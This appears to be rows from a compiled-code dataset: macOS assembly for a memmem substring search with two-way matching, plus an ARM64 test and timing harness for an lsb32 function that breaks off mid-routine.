tbnz w8, #0, LBB4_69
b LBB4_68
LBB4_68:
bl ___stack_chk_fail
LBB4_69:
ldr x0, [sp] ; 8-byte Folded Reload
add sp, sp, #2240
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _memmem ## -- Begin function memmem
.p2align 4, 0x90
_memmem: ## @memmem
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -16(%rbp)
movq %rsi, -24(%rbp)
movq %rdx, -32(%rbp)
movq %rcx, -40(%rbp)
movq -16(%rbp), %rax
movq %rax, -48(%rbp)
movq -32(%rbp), %rax
movq %rax, -56(%rbp)
cmpq $0, -40(%rbp)
jne LBB0_2
## %bb.1:
movq -48(%rbp), %rax
movq %rax, -8(%rbp)
jmp LBB0_16
LBB0_2:
movq -24(%rbp), %rax
cmpq -40(%rbp), %rax
jae LBB0_4
## %bb.3:
movq $0, -8(%rbp)
jmp LBB0_16
LBB0_4:
movq -16(%rbp), %rdi
movq -56(%rbp), %rax
movzbl (%rax), %esi
movq -24(%rbp), %rdx
callq _memchr
movq %rax, -48(%rbp)
cmpq $0, -48(%rbp)
je LBB0_6
## %bb.5:
cmpq $1, -40(%rbp)
jne LBB0_7
LBB0_6:
movq -48(%rbp), %rax
movq %rax, -8(%rbp)
jmp LBB0_16
LBB0_7:
movq -48(%rbp), %rcx
movq -16(%rbp), %rax
subq %rax, %rcx
movq -24(%rbp), %rax
subq %rcx, %rax
movq %rax, -24(%rbp)
movq -24(%rbp), %rax
cmpq -40(%rbp), %rax
jae LBB0_9
## %bb.8:
movq $0, -8(%rbp)
jmp LBB0_16
LBB0_9:
cmpq $2, -40(%rbp)
jne LBB0_11
## %bb.10:
movq -48(%rbp), %rdi
movq -24(%rbp), %rsi
movq -56(%rbp), %rdx
callq _twobyte_memmem
movq %rax, -8(%rbp)
jmp LBB0_16
LBB0_11:
cmpq $3, -40(%rbp)
jne LBB0_13
## %bb.12:
movq -48(%rbp), %rdi
movq -24(%rbp), %rsi
movq -56(%rbp), %rdx
callq _threebyte_memmem
movq %rax, -8(%rbp)
jmp LBB0_16
LBB0_13:
cmpq $4, -40(%rbp)
jne LBB0_15
## %bb.14:
movq -48(%rbp), %rdi
movq -24(%rbp), %rsi
movq -56(%rbp), %rdx
callq _fourbyte_memmem
movq %rax, -8(%rbp)
jmp LBB0_16
LBB0_15:
movq -48(%rbp), %rdi
movq -48(%rbp), %rsi
addq -24(%rbp), %rsi
movq -56(%rbp), %rdx
movq -40(%rbp), %rcx
callq _twoway_memmem
movq %rax, -8(%rbp)
LBB0_16:
movq -8(%rbp), %rax
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function twobyte_memmem
_twobyte_memmem: ## @twobyte_memmem
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
movq %rsi, -24(%rbp)
movq %rdx, -32(%rbp)
movq -32(%rbp), %rax
movzbl (%rax), %eax
shll $8, %eax
movq -32(%rbp), %rcx
movzbl 1(%rcx), %ecx
orl %ecx, %eax
## kill: def $ax killed $ax killed $eax
movw %ax, -34(%rbp)
movq -16(%rbp), %rax
movzbl (%rax), %eax
shll $8, %eax
movq -16(%rbp), %rcx
movzbl 1(%rcx), %ecx
orl %ecx, %eax
## kill: def $ax killed $ax killed $eax
movw %ax, -36(%rbp)
movq -16(%rbp), %rax
addq $2, %rax
movq %rax, -16(%rbp)
movq -24(%rbp), %rax
subq $2, %rax
movq %rax, -24(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -24(%rbp)
je LBB1_6
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movzwl -36(%rbp), %eax
movzwl -34(%rbp), %ecx
cmpl %ecx, %eax
jne LBB1_4
## %bb.3:
movq -16(%rbp), %rax
addq $-2, %rax
movq %rax, -8(%rbp)
jmp LBB1_10
LBB1_4: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_5
LBB1_5: ## in Loop: Header=BB1_1 Depth=1
movq -24(%rbp), %rax
addq $-1, %rax
movq %rax, -24(%rbp)
movzwl -36(%rbp), %eax
shll $8, %eax
movq -16(%rbp), %rcx
movq %rcx, %rdx
addq $1, %rdx
movq %rdx, -16(%rbp)
movzbl (%rcx), %ecx
orl %ecx, %eax
## kill: def $ax killed $ax killed $eax
movw %ax, -36(%rbp)
jmp LBB1_1
LBB1_6:
movzwl -36(%rbp), %eax
movzwl -34(%rbp), %ecx
cmpl %ecx, %eax
jne LBB1_8
## %bb.7:
movq -16(%rbp), %rax
addq $-2, %rax
movq %rax, -48(%rbp) ## 8-byte Spill
jmp LBB1_9
LBB1_8:
xorl %eax, %eax
## kill: def $rax killed $eax
movq %rax, -48(%rbp) ## 8-byte Spill
jmp LBB1_9
LBB1_9:
movq -48(%rbp), %rax ## 8-byte Reload
movq %rax, -8(%rbp)
LBB1_10:
movq -8(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function threebyte_memmem
_threebyte_memmem: ## @threebyte_memmem
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
movq %rsi, -24(%rbp)
movq %rdx, -32(%rbp)
movq -32(%rbp), %rax
movzbl (%rax), %eax
shll $24, %eax
movq -32(%rbp), %rcx
movzbl 1(%rcx), %ecx
shll $16, %ecx
orl %ecx, %eax
movq -32(%rbp), %rcx
movzbl 2(%rcx), %ecx
shll $8, %ecx
orl %ecx, %eax
movl %eax, -36(%rbp)
movq -16(%rbp), %rax
movzbl (%rax), %eax
shll $24, %eax
movq -16(%rbp), %rcx
movzbl 1(%rcx), %ecx
shll $16, %ecx
orl %ecx, %eax
movq -16(%rbp), %rcx
movzbl 2(%rcx), %ecx
shll $8, %ecx
orl %ecx, %eax
movl %eax, -40(%rbp)
movq -16(%rbp), %rax
addq $3, %rax
movq %rax, -16(%rbp)
movq -24(%rbp), %rax
subq $3, %rax
movq %rax, -24(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -24(%rbp)
je LBB2_6
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movl -40(%rbp), %eax
cmpl -36(%rbp), %eax
jne LBB2_4
## %bb.3:
movq -16(%rbp), %rax
addq $-3, %rax
movq %rax, -8(%rbp)
jmp LBB2_10
LBB2_4: ## in Loop: Header=BB2_1 Depth=1
jmp LBB2_5
LBB2_5: ## in Loop: Header=BB2_1 Depth=1
movq -24(%rbp), %rax
addq $-1, %rax
movq %rax, -24(%rbp)
movl -40(%rbp), %eax
movq -16(%rbp), %rcx
movq %rcx, %rdx
addq $1, %rdx
movq %rdx, -16(%rbp)
movzbl (%rcx), %ecx
orl %ecx, %eax
shll $8, %eax
movl %eax, -40(%rbp)
jmp LBB2_1
LBB2_6:
movl -40(%rbp), %eax
cmpl -36(%rbp), %eax
jne LBB2_8
## %bb.7:
movq -16(%rbp), %rax
addq $-3, %rax
movq %rax, -48(%rbp) ## 8-byte Spill
jmp LBB2_9
LBB2_8:
xorl %eax, %eax
## kill: def $rax killed $eax
movq %rax, -48(%rbp) ## 8-byte Spill
jmp LBB2_9
LBB2_9:
movq -48(%rbp), %rax ## 8-byte Reload
movq %rax, -8(%rbp)
LBB2_10:
movq -8(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function fourbyte_memmem
_fourbyte_memmem: ## @fourbyte_memmem
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
movq %rsi, -24(%rbp)
movq %rdx, -32(%rbp)
movq -32(%rbp), %rax
movzbl (%rax), %eax
shll $24, %eax
movq -32(%rbp), %rcx
movzbl 1(%rcx), %ecx
shll $16, %ecx
orl %ecx, %eax
movq -32(%rbp), %rcx
movzbl 2(%rcx), %ecx
shll $8, %ecx
orl %ecx, %eax
movq -32(%rbp), %rcx
movzbl 3(%rcx), %ecx
orl %ecx, %eax
movl %eax, -36(%rbp)
movq -16(%rbp), %rax
movzbl (%rax), %eax
shll $24, %eax
movq -16(%rbp), %rcx
movzbl 1(%rcx), %ecx
shll $16, %ecx
orl %ecx, %eax
movq -16(%rbp), %rcx
movzbl 2(%rcx), %ecx
shll $8, %ecx
orl %ecx, %eax
movq -16(%rbp), %rcx
movzbl 3(%rcx), %ecx
orl %ecx, %eax
movl %eax, -40(%rbp)
movq -16(%rbp), %rax
addq $4, %rax
movq %rax, -16(%rbp)
movq -24(%rbp), %rax
subq $4, %rax
movq %rax, -24(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -24(%rbp)
je LBB3_6
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movl -40(%rbp), %eax
cmpl -36(%rbp), %eax
jne LBB3_4
## %bb.3:
movq -16(%rbp), %rax
addq $-4, %rax
movq %rax, -8(%rbp)
jmp LBB3_10
LBB3_4: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_5
LBB3_5: ## in Loop: Header=BB3_1 Depth=1
movq -24(%rbp), %rax
addq $-1, %rax
movq %rax, -24(%rbp)
movl -40(%rbp), %eax
shll $8, %eax
movq -16(%rbp), %rcx
movq %rcx, %rdx
addq $1, %rdx
movq %rdx, -16(%rbp)
movzbl (%rcx), %ecx
orl %ecx, %eax
movl %eax, -40(%rbp)
jmp LBB3_1
LBB3_6:
movl -40(%rbp), %eax
cmpl -36(%rbp), %eax
jne LBB3_8
## %bb.7:
movq -16(%rbp), %rax
addq $-4, %rax
movq %rax, -48(%rbp) ## 8-byte Spill
jmp LBB3_9
LBB3_8:
xorl %eax, %eax
## kill: def $rax killed $eax
movq %rax, -48(%rbp) ## 8-byte Spill
jmp LBB3_9
LBB3_9:
movq -48(%rbp), %rax ## 8-byte Reload
movq %rax, -8(%rbp)
LBB3_10:
movq -8(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function twoway_memmem
_twoway_memmem: ## @twoway_memmem
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $2240, %rsp ## imm = 0x8C0
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -2112(%rbp)
movq %rsi, -2120(%rbp)
movq %rdx, -2128(%rbp)
movq %rcx, -2136(%rbp)
leaq -48(%rbp), %rdi
xorl %esi, %esi
movl $32, %edx
callq _memset
movq $0, -2144(%rbp)
LBB4_1: ## =>This Inner Loop Header: Depth=1
movq -2144(%rbp), %rax
cmpq -2136(%rbp), %rax
jae LBB4_4
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
movq -2128(%rbp), %rax
movq -2144(%rbp), %rcx
movzbl (%rax,%rcx), %eax
movl %eax, %ecx
andq $63, %rcx
movl $1, %eax
## kill: def $cl killed $rcx
shlq %cl, %rax
movq %rax, %rcx
movq -2128(%rbp), %rax
movq -2144(%rbp), %rdx
movzbl (%rax,%rdx), %eax
## kill: def $rax killed $eax
shrq $6, %rax
orq -48(%rbp,%rax,8), %rcx
movq %rcx, -48(%rbp,%rax,8)
movq -2144(%rbp), %rcx
addq $1, %rcx
movq -2128(%rbp), %rax
movq -2144(%rbp), %rdx
movzbl (%rax,%rdx), %eax
## kill: def $rax killed $eax
movq %rcx, -2096(%rbp,%rax,8)
## %bb.3: ## in Loop: Header=BB4_1 Depth=1
movq -2144(%rbp), %rax
addq $1, %rax
movq %rax, -2144(%rbp)
jmp LBB4_1
LBB4_4:
movq $-1, -2152(%rbp)
movq $0, -2160(%rbp)
movq $1, -2176(%rbp)
movq $1, -2168(%rbp)
LBB4_5: ## =>This Inner Loop Header: Depth=1
movq -2160(%rbp), %rax
addq -2168(%rbp), %rax
cmpq -2136(%rbp), %rax
jae LBB4_16
## %bb.6: ## in Loop: Header=BB4_5 Depth=1
movq -2128(%rbp), %rax
movq -2152(%rbp), %rcx
addq -2168(%rbp), %rcx
movzbl (%rax,%rcx), %eax
movq -2128(%rbp), %rcx
movq -2160(%rbp), %rdx
addq -2168(%rbp), %rdx
movzbl (%rcx,%rdx), %ecx
cmpl %ecx, %eax
jne LBB4_11
## %bb.7: ## in Loop: Header=BB4_5 Depth=1
movq -2168(%rbp), %rax
cmpq -2176(%rbp), %rax
jne LBB4_9
## %bb.8: ## in Loop: Header=BB4_5 Depth=1
movq -2176(%rbp), %rax
addq -2160(%rbp), %rax
movq %rax, -2160(%rbp)
movq $1, -2168(%rbp)
jmp LBB4_10
LBB4_9: ## in Loop: Header=BB4_5 Depth=1
movq -2168(%rbp), %rax
addq $1, %rax
movq %rax, -2168(%rbp)
LBB4_10: ## in Loop: Header=BB4_5 Depth=1
jmp LBB4_15
LBB4_11: ## in Loop: Header=BB4_5 Depth=1
movq -2128(%rbp), %rax
movq -2152(%rbp), %rcx
addq -2168(%rbp), %rcx
movzbl (%rax,%rcx), %eax
movq -2128(%rbp), %rcx
movq -2160(%rbp), %rdx
addq -2168(%rbp), %rdx
movzbl (%rcx,%rdx), %ecx
cmpl %ecx, %eax
jle LBB4_13
## %bb.12: ## in Loop: Header=BB4_5 Depth=1
movq -2168(%rbp), %rax
addq -2160(%rbp), %rax
movq %rax, -2160(%rbp)
movq $1, -2168(%rbp)
movq -2160(%rbp), %rax
subq -2152(%rbp), %rax
movq %rax, -2176(%rbp)
jmp LBB4_14
LBB4_13: ## in Loop: Header=BB4_5 Depth=1
movq -2160(%rbp), %rax
movq %rax, %rcx
addq $1, %rcx
movq %rcx, -2160(%rbp)
movq %rax, -2152(%rbp)
movq $1, -2176(%rbp)
movq $1, -2168(%rbp)
LBB4_14: ## in Loop: Header=BB4_5 Depth=1
jmp LBB4_15
LBB4_15: ## in Loop: Header=BB4_5 Depth=1
jmp LBB4_5
LBB4_16:
movq -2152(%rbp), %rax
movq %rax, -2184(%rbp)
movq -2176(%rbp), %rax
movq %rax, -2192(%rbp)
movq $-1, -2152(%rbp)
movq $0, -2160(%rbp)
movq $1, -2176(%rbp)
movq $1, -2168(%rbp)
LBB4_17: ## =>This Inner Loop Header: Depth=1
movq -2160(%rbp), %rax
addq -2168(%rbp), %rax
cmpq -2136(%rbp), %rax
jae LBB4_28
## %bb.18: ## in Loop: Header=BB4_17 Depth=1
movq -2128(%rbp), %rax
movq -2152(%rbp), %rcx
addq -2168(%rbp), %rcx
movzbl (%rax,%rcx), %eax
movq -2128(%rbp), %rcx
movq -2160(%rbp), %rdx
addq -2168(%rbp), %rdx
movzbl (%rcx,%rdx), %ecx
cmpl %ecx, %eax
jne LBB4_23
## %bb.19: ## in Loop: Header=BB4_17 Depth=1
movq -2168(%rbp), %rax
cmpq -2176(%rbp), %rax
jne LBB4_21
## %bb.20: ## in Loop: Header=BB4_17 Depth=1
movq -2176(%rbp), %rax
addq -2160(%rbp), %rax
movq %rax, -2160(%rbp)
movq $1, -2168(%rbp)
jmp LBB4_22
LBB4_21: ## in Loop: Header=BB4_17 Depth=1
movq -2168(%rbp), %rax
addq $1, %rax
movq %rax, -2168(%rbp)
LBB4_22: ## in Loop: Header=BB4_17 Depth=1
jmp LBB4_27
LBB4_23: ## in Loop: Header=BB4_17 Depth=1
movq -2128(%rbp), %rax
movq -2152(%rbp), %rcx
addq -2168(%rbp), %rcx
movzbl (%rax,%rcx), %eax
movq -2128(%rbp), %rcx
movq -2160(%rbp), %rdx
addq -2168(%rbp), %rdx
movzbl (%rcx,%rdx), %ecx
cmpl %ecx, %eax
jge LBB4_25
## %bb.24: ## in Loop: Header=BB4_17 Depth=1
movq -2168(%rbp), %rax
addq -2160(%rbp), %rax
movq %rax, -2160(%rbp)
movq $1, -2168(%rbp)
movq -2160(%rbp), %rax
subq -2152(%rbp), %rax
movq %rax, -2176(%rbp)
jmp LBB4_26
LBB4_25: ## in Loop: Header=BB4_17 Depth=1
movq -2160(%rbp), %rax
movq %rax, %rcx
addq $1, %rcx
movq %rcx, -2160(%rbp)
movq %rax, -2152(%rbp)
movq $1, -2176(%rbp)
movq $1, -2168(%rbp)
LBB4_26: ## in Loop: Header=BB4_17 Depth=1
jmp LBB4_27
LBB4_27: ## in Loop: Header=BB4_17 Depth=1
jmp LBB4_17
LBB4_28:
movq -2152(%rbp), %rax
addq $1, %rax
movq -2184(%rbp), %rcx
addq $1, %rcx
cmpq %rcx, %rax
jbe LBB4_30
## %bb.29:
movq -2152(%rbp), %rax
movq %rax, -2184(%rbp)
jmp LBB4_31
LBB4_30:
movq -2192(%rbp), %rax
movq %rax, -2176(%rbp)
LBB4_31:
movq -2128(%rbp), %rdi
movq -2128(%rbp), %rsi
addq -2176(%rbp), %rsi
movq -2184(%rbp), %rdx
addq $1, %rdx
callq _memcmp
cmpl $0, %eax
je LBB4_36
## %bb.32:
movq $0, -2208(%rbp)
movq -2184(%rbp), %rax
movq -2136(%rbp), %rcx
subq -2184(%rbp), %rcx
subq $1, %rcx
cmpq %rcx, %rax
jbe LBB4_34
## %bb.33:
movq -2184(%rbp), %rax
movq %rax, -2216(%rbp) ## 8-byte Spill
jmp LBB4_35
LBB4_34:
movq -2136(%rbp), %rax
subq -2184(%rbp), %rax
subq $1, %rax
movq %rax, -2216(%rbp) ## 8-byte Spill
LBB4_35:
movq -2216(%rbp), %rax ## 8-byte Reload
addq $1, %rax
movq %rax, -2176(%rbp)
jmp LBB4_37
LBB4_36:
movq -2136(%rbp), %rax
subq -2176(%rbp), %rax
movq %rax, -2208(%rbp)
LBB4_37:
movq $0, -2200(%rbp)
LBB4_38: ## =>This Loop Header: Depth=1
## Child Loop BB4_51 Depth 2
## Child Loop BB4_59 Depth 2
movq -2120(%rbp), %rax
movq -2112(%rbp), %rcx
subq %rcx, %rax
cmpq -2136(%rbp), %rax
jae LBB4_40
## %bb.39:
movq $0, -2104(%rbp)
jmp LBB4_67
LBB4_40: ## in Loop: Header=BB4_38 Depth=1
movq -2112(%rbp), %rax
movq -2136(%rbp), %rcx
subq $1, %rcx
movzbl (%rax,%rcx), %eax
## kill: def $rax killed $eax
shrq $6, %rax
movq -48(%rbp,%rax,8), %rax
movq -2112(%rbp), %rcx
movq -2136(%rbp), %rdx
subq $1, %rdx
movzbl (%rcx,%rdx), %ecx
## kill: def $rcx killed $ecx
andq $63, %rcx
movl $1, %edx
## kill: def $cl killed $rcx
shlq %cl, %rdx
movq %rdx, %rcx
andq %rcx, %rax
cmpq $0, %rax
je LBB4_46
## %bb.41: ## in Loop: Header=BB4_38 Depth=1
movq -2136(%rbp), %rax
movq -2112(%rbp), %rcx
movq -2136(%rbp), %rdx
subq $1, %rdx
movzbl (%rcx,%rdx), %ecx
## kill: def $rcx killed $ecx
subq -2096(%rbp,%rcx,8), %rax
movq %rax, -2168(%rbp)
cmpq $0, -2168(%rbp)
je LBB4_45
## %bb.42: ## in Loop: Header=BB4_38 Depth=1
movq -2168(%rbp), %rax
cmpq -2200(%rbp), %rax
jae LBB4_44
## %bb.43: ## in Loop: Header=BB4_38 Depth=1
movq -2200(%rbp), %rax
movq %rax, -2168(%rbp)
LBB4_44: ## in Loop: Header=BB4_38 Depth=1
movq -2168(%rbp), %rax
addq -2112(%rbp), %rax
movq %rax, -2112(%rbp)
movq $0, -2200(%rbp)
jmp LBB4_38
LBB4_45: ## in Loop: Header=BB4_38 Depth=1
jmp LBB4_47
LBB4_46: ## in Loop: Header=BB4_38 Depth=1
movq -2136(%rbp), %rax
addq -2112(%rbp), %rax
movq %rax, -2112(%rbp)
movq $0, -2200(%rbp)
jmp LBB4_38
LBB4_47: ## in Loop: Header=BB4_38 Depth=1
movq -2184(%rbp), %rax
addq $1, %rax
cmpq -2200(%rbp), %rax
jbe LBB4_49
## %bb.48: ## in Loop: Header=BB4_38 Depth=1
movq -2184(%rbp), %rax
addq $1, %rax
movq %rax, -2224(%rbp) ## 8-byte Spill
jmp LBB4_50
LBB4_49: ## in Loop: Header=BB4_38 Depth=1
movq -2200(%rbp), %rax
movq %rax, -2224(%rbp) ## 8-byte Spill
LBB4_50: ## in Loop: Header=BB4_38 Depth=1
movq -2224(%rbp), %rax ## 8-byte Reload
movq %rax, -2168(%rbp)
LBB4_51: ## Parent Loop BB4_38 Depth=1
## => This Inner Loop Header: Depth=2
movq -2168(%rbp), %rcx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpq -2136(%rbp), %rcx
movb %al, -2225(%rbp) ## 1-byte Spill
jae LBB4_53
## %bb.52: ## in Loop: Header=BB4_51 Depth=2
movq -2128(%rbp), %rax
movq -2168(%rbp), %rcx
movzbl (%rax,%rcx), %eax
movq -2112(%rbp), %rcx
movq -2168(%rbp), %rdx
movzbl (%rcx,%rdx), %ecx
cmpl %ecx, %eax
sete %al
movb %al, -2225(%rbp) ## 1-byte Spill
LBB4_53: ## in Loop: Header=BB4_51 Depth=2
movb -2225(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB4_54
jmp LBB4_56
LBB4_54: ## in Loop: Header=BB4_51 Depth=2
jmp LBB4_55
LBB4_55: ## in Loop: Header=BB4_51 Depth=2
movq -2168(%rbp), %rax
addq $1, %rax
movq %rax, -2168(%rbp)
jmp LBB4_51
LBB4_56: ## in Loop: Header=BB4_38 Depth=1
movq -2168(%rbp), %rax
cmpq -2136(%rbp), %rax
jae LBB4_58
## %bb.57: ## in Loop: Header=BB4_38 Depth=1
movq -2168(%rbp), %rax
subq -2184(%rbp), %rax
addq -2112(%rbp), %rax
movq %rax, -2112(%rbp)
movq $0, -2200(%rbp)
jmp LBB4_38
LBB4_58: ## in Loop: Header=BB4_38 Depth=1
movq -2184(%rbp), %rax
addq $1, %rax
movq %rax, -2168(%rbp)
LBB4_59: ## Parent Loop BB4_38 Depth=1
## => This Inner Loop Header: Depth=2
movq -2168(%rbp), %rcx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpq -2200(%rbp), %rcx
movb %al, -2226(%rbp) ## 1-byte Spill
jbe LBB4_61
## %bb.60: ## in Loop: Header=BB4_59 Depth=2
movq -2128(%rbp), %rax
movq -2168(%rbp), %rcx
subq $1, %rcx
movzbl (%rax,%rcx), %eax
movq -2112(%rbp), %rcx
movq -2168(%rbp), %rdx
subq $1, %rdx
movzbl (%rcx,%rdx), %ecx
cmpl %ecx, %eax
sete %al
movb %al, -2226(%rbp) ## 1-byte Spill
LBB4_61: ## in Loop: Header=BB4_59 Depth=2
movb -2226(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB4_62
jmp LBB4_64
LBB4_62: ## in Loop: Header=BB4_59 Depth=2
jmp LBB4_63
LBB4_63: ## in Loop: Header=BB4_59 Depth=2
movq -2168(%rbp), %rax
addq $-1, %rax
movq %rax, -2168(%rbp)
jmp LBB4_59
LBB4_64: ## in Loop: Header=BB4_38 Depth=1
movq -2168(%rbp), %rax
cmpq -2200(%rbp), %rax
ja LBB4_66
## %bb.65:
movq -2112(%rbp), %rax
movq %rax, -2104(%rbp)
jmp LBB4_67
LBB4_66: ## in Loop: Header=BB4_38 Depth=1
movq -2176(%rbp), %rax
addq -2112(%rbp), %rax
movq %rax, -2112(%rbp)
movq -2208(%rbp), %rax
movq %rax, -2200(%rbp)
jmp LBB4_38
LBB4_67:
movq -2104(%rbp), %rax
movq %rax, -2240(%rbp) ## 8-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB4_69
## %bb.68:
movq -2240(%rbp), %rax ## 8-byte Reload
addq $2240, %rsp ## imm = 0x8C0
popq %rbp
retq
LBB4_69:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/156392687.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _testlsb32 ; -- Begin function testlsb32
.p2align 2
_testlsb32: ; @testlsb32
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
ldur w9, [x29, #-4]
; implicit-def: $x8
mov x8, x9
stur x8, [x29, #-16] ; 8-byte Folded Spill
ldur w8, [x29, #-4]
mov x0, x8
bl _lsb32
ldur x8, [x29, #-16] ; 8-byte Folded Reload
mov x9, sp
str x8, [x9]
; implicit-def: $x8
mov x8, x0
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w8, #1
stur w8, [x29, #-4]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur w9, [x29, #-4]
; implicit-def: $x8
mov x8, x9
str x8, [sp, #24] ; 8-byte Folded Spill
ldur w8, [x29, #-4]
mov x0, x8
bl _lsb32
ldr x8, [sp, #24] ; 8-byte Folded Reload
mov x9, sp
str x8, [x9]
; implicit-def: $x8
mov x8, x0
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-4]
lsl w8, w8, #1
stur w8, [x29, #-4]
b LBB0_1
LBB0_4:
mov w8, #-1
stur w8, [x29, #-4]
ldur w9, [x29, #-4]
; implicit-def: $x8
mov x8, x9
str x8, [sp, #16] ; 8-byte Folded Spill
ldur w8, [x29, #-4]
mov x0, x8
bl _lsb32
ldr x8, [sp, #16] ; 8-byte Folded Reload
mov x9, sp
str x8, [x9]
; implicit-def: $x8
mov x8, x0
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _testPerf ; -- Begin function testPerf
.p2align 2
_testPerf: ; @testPerf
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
str xzr, [sp]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp]
mov x9, #51712
movk x9, #15258, lsl #16
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB1_4
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldr x8, [sp, #8]
ldr x0, [sp]
blr x8
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldr x8, [sp]
add x8, x8, #1
str x8, [sp]
b LBB1_1
LBB1_4:
mov w0, #0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #160
.cfi_def_cfa_offset 160
stp x29, x30, [sp, #144] ; 16-byte Folded Spill
add x29, sp, #144
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #36] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
sub x0, x29, #24
mov x1, #0
str x1, [sp, #16] ; 8-byte Folded Spill
bl _gettimeofday
adrp x0, _lsb32@GOTPAGE
ldr x0, [x0, _lsb32@GOTPAGEOFF]
bl _testPerf
ldr x1, [sp, #16] ; 8-byte Folded Reload
sub x0, x29, #40
bl _gettimeofday
ldur x8, [x29, #-40]
ldur x9, [x29, #-24]
subs x8, x8, x9
ldur w9, [x29, #-32]
ldur w10, [x29, #-16]
subs w10, w9, w10
mov x9, sp
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
str x0, [sp, #24] ; 8-byte Folded Spill
bl _printf
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldr x1, [sp, #16] ; 8-byte Folded Reload
sub x0, x29, #56
bl _gettimeofday
adrp x0, _lsb32_1@GOTPAGE
ldr x0, [x0, _lsb32_1@GOTPAGEOFF]
bl _testPerf
ldr x1, [sp, #16] ; 8-byte Folded Reload
add x0, sp, #72
bl _gettimeofday
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldr x8, [sp, #72]
ldur x9, [x29, #-56]
subs x8, x8, x9
ldr w9, [sp, #80]
ldur w10, [x29, #-48]
subs w10, w9, w10
mov x9, sp
str x8, [x9]
; implicit-def: $x8
mov x8, x10
